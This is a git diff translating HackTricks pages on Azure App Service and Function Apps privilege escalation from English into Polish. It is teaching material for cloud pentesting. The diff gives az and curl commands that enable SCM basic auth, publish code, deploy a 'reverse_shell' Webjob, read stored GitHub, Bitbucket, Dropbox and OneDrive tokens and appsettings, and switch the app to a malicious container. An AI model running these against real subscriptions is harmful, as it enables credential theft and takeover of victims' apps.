z **sieci, musisz uzyskać dostęp do `/BasicAuth`**. > [!WARNING] -> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work. - -- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`): +> Zauważ, że każdy użytkownik może skonfigurować swoje własne poświadczenia, wywołując poprzednie polecenie, ale jeśli użytkownik nie ma wystarczających uprawnień do uzyskania dostępu do SCM lub FTP, poświadczenia nie będą działać. +- Jeśli widzisz, że te poświadczenia są **REDACTED**, to dlatego, że **musisz włączyć opcję podstawowej autoryzacji SCM** i do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`): ```bash # Enable basic authentication for SCM az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' # Enable basic authentication for FTP az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' ``` +### Publikowanie kodu za pomocą poświadczeń SCM -### Publish code using SCM credentials +Mając ważne poświadczenia SCM, możliwe jest **publikowanie kodu** w usłudze App. Można to zrobić za pomocą następującego polecenia. -Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command. - -For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**. - -Then you can **publish the code** in a web app with the following command: +W tym przykładzie Pythona możesz pobrać repozytorium z https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, wprowadzić dowolne **zmiany**, a następnie **spakować je, uruchamiając: `zip -r app.zip .`**. +Następnie możesz **opublikować kod** w aplikacji internetowej za pomocą następującego polecenia: ```bash curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" ``` - ### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials -The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials: - -- Read **Webjobs** logs: +Wspomniane uprawnienie Azure pozwala na wykonanie kilku interesujących działań, które można również wykonać za pomocą poświadczeń SCM: +- Odczyt logów **Webjobs**: ```bash # Using Azure credentials az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" @@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az # Using SCM username and password: curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ - --user ':' -v +--user ':' -v ``` - -- Read **Webjobs** source code: - +- Przeczytaj kod źródłowy **Webjobs**: ```bash # Using SCM username and password: # Find all the webjobs inside: curl "/wwwroot/App_Data/jobs/" \ - --user ':' +--user ':' # e.g. curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ - --user ':' +--user ':' ``` - -- Create **continuous Webjob**: - +- Utwórz **ciągły Webjob**: ```bash # Using Azure permissions az rest \ - --method put \ - --uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ - --headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ - --body "@/Users/username/Downloads/rev.js" \ - --resource "https://management.azure.com/" +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" # Using SCM credentials curl -X PUT \ - "/api/Continuouswebjobs/reverse_shell2" \ - -H 'Content-Disposition: attachment; filename=rev.js' \ - --data-binary "@/Users/carlospolop/Downloads/rev.js" \ - --user ':' +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' ``` - ### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action -These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them. - +Te uprawnienia pozwalają na **przypisanie zarządzanej tożsamości** do usługi App, więc jeśli usługa App została wcześniej skompromitowana, to pozwoli to atakującemu na przypisanie nowych zarządzanych tożsamości do usługi App i **eskalację uprawnień** do nich. ```bash az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` - ### Microsoft.Web/sites/config/list/action -This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials. - +To uprawnienie pozwala na wylistowanie **connection strings** i **appsettings** usługi App, które mogą zawierać wrażliwe informacje, takie jak dane uwierzytelniające do bazy danych. ```bash az webapp config connection-string list --name --resource-group az webapp config appsettings list --name --resource-group ``` +### Odczytaj skonfigurowane dane uwierzytelniające stron trzecich -### Read Configured Third Party Credentials - -Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one. - +Uruchamiając następujące polecenie, można **odczytać dane uwierzytelniające stron trzecich** skonfigurowane w bieżącym koncie. Należy zauważyć, że jeśli na przykład jakieś dane uwierzytelniające Github są skonfigurowane w innym użytkowniku, nie będziesz w stanie uzyskać dostępu do tokena z innego. ```bash az rest --method GET \ - --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` +To polecenie zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive. -This command returns tokens for Github, Bitbucket, Dropbox and OneDrive. - -Here you have some command examples to check the tokens: - +Oto kilka przykładów poleceń do sprawdzenia tokenów: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ - -H "Accept: application/vnd.github.v3+json" \ - https://api.github.com/user/repos +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://api.bitbucket.org/2.0/repositories +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ - -H "Authorization: Bearer " \ - -H "Content-Type: application/json" \ - --data '{"path": ""}' +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://graph.microsoft.com/v1.0/me/drive/root/children +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children ``` +### Aktualizacja kodu aplikacji ze źródła -### Update App Code from the source - -- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository. -- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` - - Using the permission **`Microsoft.Web/sites/config/list/action`**: - - `az webapp deployment list-publishing-credentials --name --resource-group ` - - `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` -- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name --resource-group `, but it's going to be the same as the the SCM URL of the app with the path `/.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). - - To get the SCM credential you need the permission: - - **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group -n `. - - **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name --resource-group ` +- Jeśli skonfigurowane źródło to dostawca zewnętrzny, taki jak Github, BitBucket lub Azure Repository, możesz **zaktualizować kod** usługi aplikacji, kompromitując kod źródłowy w repozytorium. +- Jeśli aplikacja jest skonfigurowana za pomocą **zdalnego repozytorium git** (z nazwą użytkownika i hasłem), możliwe jest uzyskanie **URL i podstawowych poświadczeń autoryzacyjnych** do klonowania i wprowadzania zmian za pomocą: +- Używając uprawnienia **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Używając uprawnienia **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Jeśli aplikacja jest skonfigurowana do używania **lokalnego repozytorium git**, możliwe jest **sklonowanie repozytorium** i **wprowadzenie zmian**: +- Używając uprawnienia **`Microsoft.Web/sites/sourcecontrols/read`**: Możesz uzyskać URL repozytorium git za pomocą `az webapp deployment source show --name --resource-group `, ale będzie to ten sam URL SCM aplikacji z ścieżką `/.git` (np. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Aby uzyskać poświadczenia SCM, potrzebujesz uprawnienia: +- **`Microsoft.Web/sites/publishxml/action`**: Następnie uruchom `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Następnie uruchom `az webapp deployment list-publishing-credentials --name --resource-group ` > [!WARNING] -> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section. +> Zauważ, że posiadanie uprawnienia `Microsoft.Web/sites/config/list/action` oraz poświadczeń SCM zawsze umożliwia wdrożenie do webapp (nawet jeśli był skonfigurowany do używania dostawcy zewnętrznego), jak wspomniano w poprzedniej sekcji. > [!WARNING] -> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently. +> Zauważ, że posiadanie poniższych uprawnień również **umożliwia wykonanie dowolnego kontenera**, nawet jeśli webapp był skonfigurowany inaczej. ### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` -This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container. - +To zestaw uprawnień, który pozwala na **modyfikację kontenera używanego** przez webapp. Napastnik mógłby to wykorzystać, aby sprawić, że webapp wykona złośliwy kontener. ```bash az webapp config container set \ - --name \ - --resource-group \ - --docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index 7ab299f30..84d9bc9f6 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -2,35 +2,36 @@ {{#include ../../../banners/hacktricks-training.md}} -## Podstawowe informacje o usłudze App +## Podstawowe informacje o usłudze App Service Azure App Services umożliwia deweloperom **tworzenie, wdrażanie i skalowanie aplikacji internetowych, zaplecza aplikacji mobilnych i interfejsów API w sposób bezproblemowy**. Obsługuje wiele języków programowania i integruje się z różnymi narzędziami i usługami Azure w celu zwiększenia funkcjonalności i zarządzania. Każda aplikacja działa w piaskownicy, ale izolacja zależy od planów App Service: -- Aplikacje w bezpłatnych i współdzielonych warstwach działają na **współdzielonych VM** +- Aplikacje w darmowych i współdzielonych warstwach działają na **współdzielonych VM** - Aplikacje w standardowych i premium warstwach działają na **dedykowanych VM współdzielonych tylko przez aplikacje** w tym samym planie App Service. - Warstwy izolowane działają na **dedykowanych VM w dedykowanych sieciach wirtualnych**, co poprawia izolację aplikacji. > [!WARNING] -> Należy pamiętać, że **żadne** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzania**, może ona **eskalować uprawnienia do nich**. +> Należy pamiętać, że **żadna** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzania**, może ona **eskalować uprawnienia do nich**. Aplikacje mają kilka interesujących konfiguracji: - **Always On**: Zapewnia, że aplikacja zawsze działa. Jeśli nie jest włączona, aplikacja przestanie działać po 20 minutach bezczynności i uruchomi się ponownie, gdy zostanie odebrane żądanie. -- Jest to niezbędne, jeśli masz webjob, który musi działać nieprzerwanie, ponieważ webjob zatrzyma się, jeśli aplikacja przestanie działać. +- Jest to istotne, jeśli masz webjob, który musi działać nieprzerwanie, ponieważ webjob zatrzyma się, jeśli aplikacja przestanie działać. - **SSH**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może połączyć się z aplikacją za pomocą SSH. - **Debugowanie**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może debugować aplikację. Jednak jest to automatycznie wyłączane co 48 godzin. - **Aplikacja internetowa + Baza danych**: Konsola internetowa umożliwia utworzenie aplikacji z bazą danych. W tym przypadku można wybrać bazę danych do użycia (SQLAzure, PostgreSQL, MySQL, MongoDB) i umożliwia również utworzenie Azure Cache dla Redis. - URL zawierający dane uwierzytelniające do bazy danych i Redis będzie przechowywany w **appsettings**. - **Kontener**: Możliwe jest wdrożenie kontenera do App Service, wskazując URL kontenera i dane uwierzytelniające do jego dostępu. -- **Montowanie**: Możliwe jest utworzenie 5 montowań z kont osadzenia, które mogą być Azure Blob (tylko do odczytu) lub Azure Files. Konfiguracja przechowa klucz dostępu w koncie osadzenia. +- **Montowanie**: Możliwe jest utworzenie 5 montażów z kont Storage, które mogą być Azure Blob (tylko do odczytu) lub Azure Files. Konfiguracja przechowa klucz dostępu w koncie Storage. +- **Sieciowanie**: Może być publicznie dostępne lub dostępne tylko przez prywatne punkty końcowe z VNet. ## Podstawowa autoryzacja Podczas tworzenia aplikacji internetowej (a zazwyczaj funkcji Azure) można wskazać, czy chcesz, aby **podstawowa autoryzacja była włączona** (domyślnie wyłączona). To zasadniczo **włącza SCM (Source Control Manager) i FTP (File Transfer Protocol)** dla aplikacji, dzięki czemu będzie możliwe wdrożenie aplikacji przy użyciu tych technologii. -Aby uzyskać dostęp do serwerów SCM i FTP, wymagane są **nazwa użytkownika i hasło**. Dlatego Azure udostępnia kilka **API do uzyskania URL** do tych platform oraz dane uwierzytelniające. +Aby uzyskać dostęp do serwerów SCM i FTP, wymagane są **nazwa użytkownika i hasło**. Dlatego Azure udostępnia kilka **API do uzyskania URL** do tych platform i danych uwierzytelniających. **Serwer FTP nie ma żadnej specjalnej magii**, wystarczy ważny URL, nazwa użytkownika i hasło, aby połączyć się i uzyskać uprawnienia do odczytu i zapisu w środowisku aplikacji. @@ -48,15 +49,15 @@ Niektóre interesujące punkty końcowe, które można znaleźć w Kudu, to: - `/DebugConsole`: Konsola, która pozwala na wykonywanie poleceń w środowisku, w którym działa Kudu. - Należy pamiętać, że to środowisko **nie ma dostępu** do usługi metadanych w celu uzyskania tokenów. - `/webssh/host`: Klient SSH oparty na sieci, który pozwala na połączenie się wewnątrz kontenera, w którym działa aplikacja. -- To środowisko **ma dostęp do usługi metadanych**, aby uzyskać tokeny z przypisanych tożsamości zarządzanych. +- To środowisko **ma dostęp do usługi metadanych** w celu uzyskania tokenów z przypisanych tożsamości zarządzanych. - `/Env`: Uzyskaj informacje o systemie, ustawieniach aplikacji, zmiennych środowiskowych, ciągach połączeń i nagłówkach HTTP. - `/wwwroot/`: Katalog główny aplikacji internetowej. Możesz pobrać wszystkie pliki stąd. -Ponadto, Kudu był kiedyś open source w [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), ale projekt został wycofany, a porównując zachowanie obecnego Kudu w Azure z jego starszą wersją, można zauważyć, że **wiele rzeczy już się zmieniło**. +Ponadto, Kudu był kiedyś otwartym źródłem w [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), ale projekt został wycofany, a porównując zachowanie obecnego Kudu w Azure z jego starszą wersją, można zauważyć, że **wiele rzeczy już się zmieniło**. ## Źródła -Usługi App pozwalają na przesyłanie kodu jako pliku zip domyślnie, ale również umożliwiają połączenie z usługą zewnętrzną i pobranie kodu stamtąd. +App Services domyślnie pozwala na przesyłanie kodu jako pliku zip, ale również umożliwia połączenie z usługą zewnętrzną i pobranie kodu stamtąd. - Obecnie obsługiwane źródła zewnętrzne to **Github** i **Bitbucket**. - Możesz uzyskać tokeny uwierzytelniające, uruchamiając `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` @@ -66,7 +67,7 @@ Usługi App pozwalają na przesyłanie kodu jako pliku zip domyślnie, ale równ - Możliwe jest również użycie **Azure Repository**. - Możliwe jest również skonfigurowanie **lokalnego repozytorium git**. - Możesz uzyskać URL repozytorium git za pomocą `az webapp deployment source show --name --resource-group `, a będzie to URL SCM aplikacji. -- Aby je sklonować, będziesz potrzebować danych uwierzytelniających SCM, które możesz uzyskać za pomocą `az webapp deployment list-publishing-profiles --resource-group -n ` +- Aby je sklonować, będziesz potrzebować danych uwierzytelniających SCM, które możesz uzyskać za pomocą `az webapp deployment list-publishing-profiles --resource-group -n `. ## Webjobs @@ -89,7 +90,7 @@ Ponadto możliwe jest skierowanie **procenta ruchu** do konkretnego slotu, co je Zasadniczo **aplikacje funkcji Azure są podzbiorem Azure App Service** w konsoli internetowej, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć aplikacje funkcji również wymienione tam**. -Dlatego obie usługi mają w rzeczywistości głównie **te same konfiguracje, funkcje i opcje w az cli**, chociaż mogą je konfigurować nieco inaczej (jak domyślne wartości appsettings lub użycie konta osadzenia w aplikacjach funkcji). +Dlatego obie usługi mają w rzeczywistości głównie **te same konfiguracje, funkcje i opcje w az cli**, chociaż mogą je konfigurować nieco inaczej (jak domyślne wartości appsettings lub użycie konta Storage w aplikacjach funkcji). ## Enumeracja @@ -176,6 +177,10 @@ az webapp conection list --name --resource-group # Get hybrid-connections of a webapp az webapp hybrid-connections list --name --resource-group + +# Get configured SMC users by your account +az webapp deployment user show +## If any user is created, the username should appear in the "publishingUserName" field ``` {{#endtab }} diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 12705a051..60c43e38e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -4,7 +4,7 @@ ## Podstawowe informacje -**Azure Function Apps** to **usługa obliczeniowa bezserwerowa**, która pozwala na uruchamianie małych fragmentów kodu, zwanych **funkcjami**, bez zarządzania infrastrukturą. Zostały zaprojektowane do wykonywania kodu w odpowiedzi na różne wyzwalacze, takie jak **żądania HTTP, timery lub zdarzenia z innych usług Azure**, takich jak Blob Storage czy Event Hubs. Function Apps obsługują wiele języków programowania, w tym C#, Python, JavaScript i Java, co czyni je wszechstronnymi do budowania **aplikacji opartych na zdarzeniach**, automatyzacji procesów roboczych lub integracji usług. Są opłacalne, ponieważ zazwyczaj płacisz tylko za czas obliczeniowy używany podczas uruchamiania kodu. +**Azure Function Apps** to **usługa obliczeniowa bezserwerowa**, która pozwala na uruchamianie małych fragmentów kodu, zwanych **funkcjami**, bez zarządzania infrastrukturą. Zostały zaprojektowane do wykonywania kodu w odpowiedzi na różne wyzwalacze, takie jak **żądania HTTP, timery lub zdarzenia z innych usług Azure**, takich jak Blob Storage czy Event Hubs. Function Apps obsługują wiele języków programowania, w tym C#, Pythona, JavaScript i Javę, co czyni je wszechstronnymi do budowania **aplikacji opartych na zdarzeniach**, automatyzacji procesów roboczych lub integracji usług. Są opłacalne, ponieważ zazwyczaj płacisz tylko za czas obliczeniowy używany podczas uruchamiania kodu. > [!NOTE] > Zauważ, że **Funkcje są podzbiorem App Services**, dlatego wiele funkcji omówionych tutaj będzie również używanych przez aplikacje tworzone jako Azure Apps (`webapp` w cli). @@ -14,12 +14,12 @@ - **Plan Flex Consumption**: Oferuje **dynamiczne, oparte na zdarzeniach skalowanie** z ceną płatności za użycie, dodając lub usuwając instancje funkcji w zależności od popytu. Obsługuje **wirtualne sieci** i **wstępnie przydzielone instancje**, aby zredukować zimne uruchomienia, co czyni go odpowiednim dla **zmiennych obciążeń**, które nie wymagają wsparcia kontenerów. - **Plan Traditional Consumption**: Domyślna opcja bezserwerowa, w której **płacisz tylko za zasoby obliczeniowe, gdy funkcje są uruchamiane**. Automatycznie skaluje się w zależności od nadchodzących zdarzeń i zawiera **optymalizacje zimnego uruchomienia**, ale nie obsługuje wdrożeń kontenerów. Idealny dla **przerywanych obciążeń** wymagających automatycznego skalowania. - **Plan Premium**: Zaprojektowany dla **spójnej wydajności**, z **wstępnie podgrzanymi pracownikami**, aby wyeliminować zimne uruchomienia. Oferuje **wydłużone czasy wykonania, wirtualne sieci** i obsługuje **niestandardowe obrazy Linux**, co czyni go idealnym dla **aplikacji krytycznych dla misji**, które potrzebują wysokiej wydajności i zaawansowanych funkcji. -- **Plan Dedicated**: Działa na dedykowanych maszynach wirtualnych z **przewidywalnym rozliczeniem** i obsługuje ręczne lub automatyczne skalowanie. Umożliwia uruchamianie wielu aplikacji na tym samym planie, zapewnia **izolację obliczeniową** i zapewnia **bezpieczny dostęp do sieci** za pośrednictwem środowisk App Service, co czyni go idealnym dla **aplikacji długoterminowych** wymagających spójnej alokacji zasobów. +- **Plan Dedicated**: Działa na dedykowanych maszynach wirtualnych z **przewidywalnym rozliczeniem** i obsługuje ręczne lub automatyczne skalowanie. Umożliwia uruchamianie wielu aplikacji na tym samym planie, zapewnia **izolację obliczeniową** i zapewnia **bezpieczny dostęp do sieci** za pośrednictwem Środowisk Usług Aplikacji, co czyni go idealnym dla **aplikacji długoterminowych** wymagających spójnej alokacji zasobów. - **Container Apps**: Umożliwia wdrażanie **kontenerowych aplikacji funkcji** w zarządzanym środowisku, obok mikroserwisów i interfejsów API. Obsługuje niestandardowe biblioteki, migrację aplikacji dziedzicznych i **przetwarzanie GPU**, eliminując zarządzanie klastrami Kubernetes. Idealny dla **opartych na zdarzeniach, skalowalnych aplikacji kontenerowych**. ### **Koszyki pamięci** -Podczas tworzenia nowej aplikacji funkcji, która nie jest kontenerowa (ale dostarcza kod do uruchomienia), **kod i inne dane związane z funkcją będą przechowywane w koncie pamięci**. Domyślnie konsola internetowa utworzy nową dla każdej funkcji, aby przechować kod. +Podczas tworzenia nowej aplikacji funkcji, która nie jest kontenerowa (ale daje kod do uruchomienia), **kod i inne dane związane z funkcją będą przechowywane w koncie pamięci**. Domyślnie konsola internetowa utworzy nową dla każdej funkcji, aby przechować kod. Co więcej, modyfikując kod wewnątrz koszyka (w różnych formatach, w jakich może być przechowywany), **kod aplikacji zostanie zmodyfikowany na nowy i wykonany** następnym razem, gdy funkcja zostanie wywołana. @@ -30,29 +30,29 @@ Co więcej, modyfikując kod wewnątrz koszyka (w różnych formatach, w jakich Możliwe jest również znalezienie **kluczy głównych i funkcji** przechowywanych w koncie pamięci w kontenerze **`azure-webjobs-secrets`** wewnątrz folderu **``** w plikach JSON, które można tam znaleźć. -Zauważ, że Funkcje pozwalają również na przechowywanie kodu w zdalnej lokalizacji, wskazując po prostu adres URL do niej. +Zauważ, że Funkcje pozwalają również na przechowywanie kodu w zdalnej lokalizacji, wskazując po prostu URL do niej. ### Sieci Używając wyzwalacza HTTP: -- Możliwe jest udzielenie **dostępu do funkcji z całego Internetu** bez wymagania jakiejkolwiek autoryzacji lub udzielenie dostępu opartego na IAM. Chociaż możliwe jest również ograniczenie tego dostępu. +- Możliwe jest udzielenie **dostępu do funkcji z całego Internetu** bez wymagania jakiejkolwiek autoryzacji lub udzielenie dostępu na podstawie IAM. Chociaż możliwe jest również ograniczenie tego dostępu. - Możliwe jest również **udzielenie lub ograniczenie dostępu** do aplikacji funkcji z **wewnętrznej sieci (VPC)**. > [!CAUTION] -> To jest bardzo interesujące z perspektywy atakującego, ponieważ może być możliwe **przejście do wewnętrznych sieci** z podatnej funkcji wystawionej na Internet. +> To jest bardzo interesujące z perspektywy atakującego, ponieważ może być możliwe **przełączenie się na wewnętrzne sieci** z podatnej funkcji wystawionej na Internet. ### **Ustawienia aplikacji funkcji i zmienne środowiskowe** Możliwe jest skonfigurowanie zmiennych środowiskowych wewnątrz aplikacji, które mogą zawierać wrażliwe informacje. Co więcej, domyślnie zmienne środowiskowe **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (wśród innych) są tworzone. Te są szczególnie interesujące, ponieważ **zawierają klucz konta do kontrolowania z PEŁNYMI uprawnieniami konta pamięci zawierającego dane aplikacji**. Te ustawienia są również potrzebne do wykonania kodu z konta pamięci. -Te zmienne środowiskowe lub parametry konfiguracyjne kontrolują również, jak funkcja wykonuje kod, na przykład jeśli **`WEBSITE_RUN_FROM_PACKAGE`** istnieje, wskaże adres URL, w którym znajduje się kod aplikacji. +Te zmienne środowiskowe lub parametry konfiguracyjne kontrolują również, jak funkcja wykonuje kod, na przykład jeśli **`WEBSITE_RUN_FROM_PACKAGE`** istnieje, wskaże URL, gdzie znajduje się kod aplikacji. ### **Piaskownica funkcji** -Wewnątrz piaskownicy linux kod źródłowy znajduje się w **`/home/site/wwwroot`** w pliku **`function_app.py`** (jeśli używany jest python), użytkownik uruchamiający kod to **`app`** (bez uprawnień sudo). +Wewnątrz piaskownicy linux kod źródłowy znajduje się w **`/home/site/wwwroot`** w pliku **`function_app.py`** (jeśli używany jest Python), użytkownik uruchamiający kod to **`app`** (bez uprawnień sudo). -W **funkcji Windows** używającej NodeJS kod znajdował się w **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, nazwa użytkownika to **`mawsFnPlaceholder8_f_v4_node_20_x86`** i był częścią **grup**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`. +W funkcji **Windows** używającej NodeJS kod znajdował się w **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, nazwa użytkownika to **`mawsFnPlaceholder8_f_v4_node_20_x86`** i był częścią **grup**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`. ### **Zarządzane tożsamości i metadane** @@ -61,32 +61,34 @@ Podobnie jak [**VMs**](vms/index.html), Funkcje mogą mieć **Zarządzane Tożsa **Zarządzana tożsamość przypisana systemowo** będzie to zarządzana tożsamość, którą **tylko funkcja**, która ją ma przypisaną, będzie mogła używać, podczas gdy **zarządzane tożsamości przypisane przez użytkownika** to zarządzane tożsamości, które **każda inna usługa Azure będzie mogła używać**. > [!NOTE] -> Podobnie jak w [**VMs**](vms/index.html), Funkcje mogą mieć **1 zarządzaną tożsamość przypisaną systemowo** i **wiele przypisanych przez użytkownika**, więc zawsze ważne jest, aby spróbować znaleźć wszystkie z nich, jeśli skompromitujesz funkcję, ponieważ możesz być w stanie eskalować uprawnienia do kilku zarządzanych tożsamości z tylko jednej funkcji. +> Podobnie jak w [**VMs**](vms/index.html), Funkcje mogą mieć **1 zarządzaną tożsamość przypisaną systemowo** i **wiele przypisanych przez użytkownika**, więc zawsze ważne jest, aby spróbować znaleźć wszystkie z nich, jeśli skompromitujesz funkcję, ponieważ możesz być w stanie eskalować uprawnienia do kilku zarządzanych tożsamości z jednej funkcji. > > Jeśli nie jest używana zarządzana tożsamość systemowa, ale jedna lub więcej zarządzanych tożsamości użytkownika są przypisane do funkcji, domyślnie nie będziesz w stanie uzyskać żadnego tokena. -Możliwe jest użycie [**skryptów PEASS**](https://github.com/peass-ng/PEASS-ng) do uzyskania tokenów z domyślnej zarządzanej tożsamości z punktu końcowego metadanych. Lub możesz je uzyskać **ręcznie**, jak wyjaśniono w: +Możliwe jest użycie [**skryptów PEASS**](https://github.com/peass-ng/PEASS-ng) do uzyskania tokenów z domyślnej zarządzanej tożsamości z punktu końcowego metadanych. Lub możesz je **ręcznie** uzyskać, jak wyjaśniono w: -{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} +{{#ref}} 